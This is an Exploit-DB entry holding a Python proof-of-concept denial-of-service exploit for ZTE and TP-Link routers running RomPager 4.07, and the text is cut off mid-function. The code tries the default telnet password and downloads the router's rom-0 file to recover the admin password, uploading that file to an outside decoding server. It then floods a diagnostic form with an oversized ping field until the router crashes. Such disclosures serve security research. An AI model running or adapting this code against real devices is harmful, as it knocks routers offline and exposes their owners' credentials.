Exploit-DB #33737
Description: ZTE / TP-Link RomPager - Denial of Service
Type: dos
Platform: hardware
Date: 2014-06-13
Author: Osanda Malith Jayathissa

Exploit:
#!/usr/bin/env python
# -*- coding: utf-8 -*- 

# Exploit Title: ZTE and TP-Link RomPager DoS Exploit
# Date: 10-05-2014
# Server Version: RomPager/4.07 UPnP/1.0
# Tested Routers: 	ZTE ZXV10 W300
#					TP-Link TD-W8901G
#					TP-Link TD-W8101G
#					TP-Link TD-8840G
# Firmware: FwVer:3.11.2.175_TC3086 HwVer:T14.F7_5.0
# Tested on: Kali Linux x86
#
# Notes:	Please note this exploit may contain errors, and
#			is provided "as it is". There is no guarantee
#			that it will work on your target router(s), as
#			the code may have to be adapted. 
#			This is to avoid script kiddie abuse as well.
#
# Disclaimer: This proof of concept is strictly for research, educational or ethical (legal) purposes only.
#			  Author takes no responsibility for any kind of damage you cause.
#
# Exploit Author: Osanda Malith Jayathissa (@OsandaMalith)
#
# Original write-up: https://osandamalith.wordpress.com/2014/06/10/zte-and-tp-link-rompager-dos/
# Video: https://www.youtube.com/watch?v=1fSECo2ewoo
# Dedicate to Nick Knight and Hood3dRob1n
#  
# ./dos.py -i 192.168.1.1

import os
import re
import sys
import time
import urllib
import base64
import httplib
import urllib2
import requests
import optparse
import telnetlib
import subprocess
import collections
import unicodedata
 
class BitReader:
	
    def __init__(self, bytes):
        self._bits = collections.deque()
        
        for byte in bytes:
            byte = ord(byte)
            for n in xrange(8):
                self._bits.append(bool((byte >> (7-n)) & 1))
            
    def getBit(self):
        return self._bits.popleft()
        
    def getBits(self, num):
        res = 0
        for i in xrange(num):
            res += self.getBit() << num-1-i
        return res
        
    def getByte(self):
        return self.getBits(8)
        
    def __len__(self):
        return len(self._bits)
        
class RingList:
	
    def __init__(self, length):
        self.__data__ = collections.deque()
        self.__full__ = False
        self.__max__ = length
 
    def append(self, x):
        if self.__full__:
            self.__data__.popleft()
        self.__data__.append(x)
        if self.size() == self.__max__:
            self.__full__ = True
 
    def get(self):
        return self.__data__
 
    def size(self):
        return len(self.__data__)
 
    def maxsize(self):
        return self.__max__
        
    def __getitem__(self, n):
        if n >= self.size():
            return None
        return self.__data__[n]

def filter_non_printable(str):
  return ''.join([c for c in str if ord(c) > 31 or ord(c) == 9])


def banner():
	return '''

\t\t    _/_/_/                _/_/_/   
\t\t   _/    _/    _/_/    _/          
\t\t  _/    _/  _/    _/    _/_/       
\t\t _/    _/  _/    _/        _/      
\t\t_/_/_/      _/_/    _/_/_/         
                           
 '''                          
def dos(host, password):
	while (1):
		url = 'http://' +host+ '/Forms/tools_test_1'
		parameters = {
		'Test_PVC'			:	'PVC0', 
		'PingIPAddr'		:	'\101'*2000,
		'pingflag'			:	'1',
		'trace_open_flag'	:	'0',
		'InfoDisplay'		:	'+-+Info+-%0D%0A'
		}
		
		params = urllib.urlencode(parameters) 
		
		req = urllib2.Request(url, params) 
		base64string = base64.encodestring('%s:%s' % ('admin', password)).replace('\n', '')
		req.add_header("Authorization", "Basic %s" %base64string)
		req.add_header("Content-type", "application/x-www-form-urlencoded")
		req.add_header("Referer", "http://" +host+ "/maintenance/tools_test.htm")
		try:
				print '[~] Sending Payload'	
				response = urllib2.urlopen(req, timeout=1)
				sys.exit(0)
			
		except:
			flag = checkHost(host)
			if flag == 0:
				print '[+] The host is still up and running'
			else:
				print '[~] Success! The host is down'
				sys.exit(0)
				break

def checkHost(host):
	if sys.platform == 'win32':
		c = "ping -n 2 " + host
	else:
		c = "ping -c 2 " + host

	try:
		x = subprocess.check_call(c, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
		time.sleep(1)
		return x
		
	except:
		pass

def checkServer(host):
	connexion = httplib.HTTPConnection(host)
	connexion.request("GET", "/status.html")
	response = connexion.getresponse()
	server = response.getheader("server")
	connexion.close()
	time.sleep(2)
	if server == 'RomPager/4.07 UPnP/1.0':
		return 0
	else:
		return 1

def checkPassword(host):
	print '[+] Checking for default password'
	defaultpass = 'admin'
	tn = telnetlib.Telnet(host, 23, 4)
	tn.read_until("Password: ")
	tn.write(defaultpass + '\n')
	time.sleep(2)
	banner = tn.read_eager()
	banner = regex(len(defaultpass)*r'.'+'\w+' , banner)
	tn.write("exit\n")
	tn.close()
	time.sleep(4)
	if banner == 'Copyright':
		print '[+] Default password is being used'
		dos(host, defaultpass)
	else:
		print '[!] Default Password is not being used'
	while True:
		msg = str(raw_input('[?] Decrypt the rom-0 file locally? ')).lower()
		try:
			if msg[0] == 'y':
				[CREDENTIAL_REDACTED](host)
				print '[*] Router password is: ' +password
				dos(host, password)
				break			        
			if msg[0] == 'n':
				[CREDENTIAL_REDACTED](host)
				print '[*] Router password is: ' +password
				dos(host, password)
				break
			else:
				print '[!] Enter a valid choice'
		except Exception, e:
				print e
				continue
		

def decodePasswordRemote(host):
	fname = 'rom-0'
	if os.path.isfile(fname) == True:
		os.remove(fname)
	urllib.urlretrieve ("http://"+host+"/rom-0", fname)
	# If this URL goes down you might have to find one and change this function. 
	# You can also use the local decoder. It might have few errors in getting output.
	url = 'http://198.61.167.113/zynos/decoded.php'                # Target URL
	files = {'uploadedfile': open('rom-0', 'rb') }                 # The rom-0 fil